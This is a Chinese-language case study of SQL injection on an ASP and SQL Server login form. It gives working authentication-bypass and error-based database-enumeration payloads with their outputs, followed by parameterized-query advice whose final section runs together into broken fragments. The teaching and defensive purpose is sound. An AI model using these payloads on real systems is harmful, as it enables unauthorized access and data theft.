某企業官網 (ASP + SQL Server) 存在 SQL 注入漏洞。項目經理稱「早知道,ASP 肯定有漏洞,換 ASP.NET 就沒事」,**這是極其危險的誤解:漏洞根源在於拼接 SQL,與語言/框架無關**。
登錄頁三字段:用戶名、密碼、公司名。前兩者有前端校驗,公司名無校驗。推測後端 SQL:
SELECT * FROM Users WHERE Username = 'input_user' AND Password = 'input_pass' AND CorpName = 'input_corp';
Payload (公司名欄):** ' OR 1=1--
生成 SQL:**
SELECT * FROM Users WHERE Username = 'attacker' AND Password = '' AND CorpName = '' OR 1=1--';
結果:** 1=1 恆真,-- 註釋掉後續單引號,**任意輸入直接登錄成功**。
Payload:** ' OR 1=(SELECT @@VERSION)--
生成 SQL:**
SELECT * FROM Users WHERE ... AND CorpName = '' OR 1=(SELECT @@VERSION)--';
報錯回顯:**
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) ...' to data type int.
洩露:** 數據庫版本、操作系統版本、架構、補丁級別。**報錯頁面直接對用戶可見是嚴重配置錯誤。**
獲取所有庫名:**
' OR 1=(SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases))--
報錯回顯第一個庫:master。遞增 TOP N 遍歷所有庫。
獲取目標庫表名 (以 master 為例):**
' OR 1=(SELECT TOP 1 name FROM master..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP 1 name FROM master..sysobjects WHERE xtype='U'))--
報錯回顯:www_phpernote_article。遞增遍歷所有表。
獲取目標表列名:**
' OR 1=(SELECT TOP 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='www_phpernote_article')--
報錯回顯第一列:xserver_name。遞增遍歷所有列。
掌握庫/表/列後,構造 Payload 直接查詢業務數據 (如管理員帳號密碼、用戶隱私)。**此處略過具體 Payload,防止被腳本小子濫用。**
輸入框有 maxlength 限制 → **瀏覽器開發者工具 (F12) 直接修改 DOM 屬性或攔截請求修改 Body** → 客戶端校驗**形同虛設**。
-- 錯誤 sql = "SELECT * FROM t WHERE name = '" + input + "'"-- 正確 cmd = "SELECT * FROM t WHERE name = @name"; cmd.Parameters.Add("@name", input);DROP, CREATE, xp_cmdshell 等高危權限。id=1' OR 1=1--)、HTTP Header (User-Agent, X-Forwarded-For)、JSON/XML Body 同理。Raw SQL/Execute 接口同樣危險。+, ., ||, CONCAT, fmt.Sprintf 等)。